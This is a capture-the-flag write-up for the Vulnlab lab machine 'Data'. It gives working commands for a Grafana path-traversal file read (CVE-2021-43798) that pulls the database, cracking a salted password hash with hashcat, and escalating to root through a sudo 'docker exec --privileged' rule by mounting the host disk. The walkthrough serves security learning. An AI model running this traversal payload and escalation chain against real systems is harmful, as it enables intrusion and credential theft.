Vulnlab: Data
- Overview
- Nmap
- Identifying Vulnerable Grafana
- Cracking Custom Hashes
- Abusing Docker to Elevate Privileges
Overview
- Identify the vulnerable version of grafana
- Abuse the arbitrary file read to retrieve the database file
- Get password hash and salt to crack with hashcat to get user.txt
sudo -l
command shows thatdocker exec *
can be run by boris- Use it to run privileged commands on the running container
- Mount the host disk inside the container to get root flag
Nmap
--- vulnlabs/easy-data » nmap -sV 10.10.125.165
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 14:50 EDT
Nmap scan report for 10.10.125.165
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94%I=7%D=9/7%Time=64FA1BA1%P=x86_64-pc-linux-gnu%r(Gen
<==================== snip =====================>
SF:r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.26 seconds
-sV
: Enumerate versions
Identifying Vulnerable Grafana
Accessing port 3000 we see a grafana login page. The version is displayed on the bottom, 8.0.0
Searching for exploits for this particular version, we find CVE-2021-43798, which let’s us read arbitrary files on the server. According to the article, we can exploit this by going to an installed plugin endpoint and traverse from there:
This github repository goes deeper on the explanation and includes some payloads we can use to further enumerate the machine.
Let’s fetch the database files which contains some passwords hashes:
--- vulnlabs/easy-data » curl --path-as-is -s http://10.10.125.165:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -O grafana.db 130 ↵
--- vulnlabs/easy-data » ls -la grafana.db 6 ↵
-rw-r--r-- 1 kali kali 598016 Sep 7 15:40 grafana.db
Opening it with sqlitebrowser
and looking at the user
table:
Cracking Custom Hashes
We get the password hash and its salt. Let’s format it with a quick python script:
import base64
password = 'dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8'
salt = b'LCBhdtJWjl'
hash64 = base64.b64encode(bytes.fromhex(password)).decode('utf-8')
salt64 = base64.b64encode(salt).decode('utf-8')
result = f"sha256:10000:{salt64}:{hash64}"
print(result)
More about this formatting can be found here
--- vulnlabs/easy-data » hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt --show
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
(If you are running for the first time remove the --show
flag)
We get the credential:
boris:beautiful1
let’s ssh in and get our user.txt
--- vulnlabs/easy-data » ssh boris@10.10.125.165
boris@10.10.125.165's password: #beautiful1
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)
<snip>
boris@ip-10-10-10-11:~$ cat user.txt
VL{fbc4<snip>654}
Abusing Docker to Elevate Privileges
Initial enumeration shows that the grafana app was running from a docker container:
...
root 930 1 0 18:44 ? 00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 1301 890 0 18:44 ? 00:00:02 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root 1384 2 0 18:44 ? 00:00:00 bpfilter_umh
root 1580 890 0 18:44 ? 00:00:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root 1585 890 0 18:44 ? 00:00:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root 1603 1 0 18:44 ? 00:00:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -addres
472 1631 1603 0 18:44 ? 00:00:02 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default
root 1643 1 0 18:44 ? 00:00:00 /usr/sbin/sshd -D
sudo -l
gives us something important too:
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *
We are able to run /snap/bin/docker exec *
as sudo, let’s see what this exec
command can do:
boris@ip-10-10-10-11:~$ docker exec -h
Flag shorthand -h has been deprecated, please use --help
Usage: docker exec [OPTIONS] CONTAINER COMMAND [ARG...]
Run a command in a running container
Options:
-d, --detach Detached mode: run command in the background
--detach-keys string Override the key sequence for detaching a container
-e, --env list Set environment variables
--env-file list Read in a file of environment variables
-i, --interactive Keep STDIN open even if not attached
--privileged Give extended privileges to the command
-t, --tty Allocate a pseudo-TTY
-u, --user string Username or UID (format: <name|uid>[:<group|gid>])
-w, --workdir string Working directory inside the container
-u
: allows us to run a root shell inside the container--privileged
: allows us to run commands with extended privileges (which we will abuse)
With those extended privileges we can mount the host disk inside our container, giving access to the root.txt
file
let’s run:
boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec --privileged -u 0 -it grafana sh
/usr/share/grafana # mkdir -p /mnt/danp (Create a folder where the partition will be mounted)
/usr/share/grafana # fdisk -l (List all partitions)
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/xvda1 * 0,32,33 20,84,31 2048 16777182 16775135 8190M 83 Linux
/usr/share/grafana # mount /dev/xvda1 /mnt/danp (Mount the /dev/xvda1 inside the container)
/usr/share/grafana # cd /mnt/danp/root
/mnt/danp/root # cat root.txt
VL{37c9<snip>bc16}
That’s all folks 🥕 ~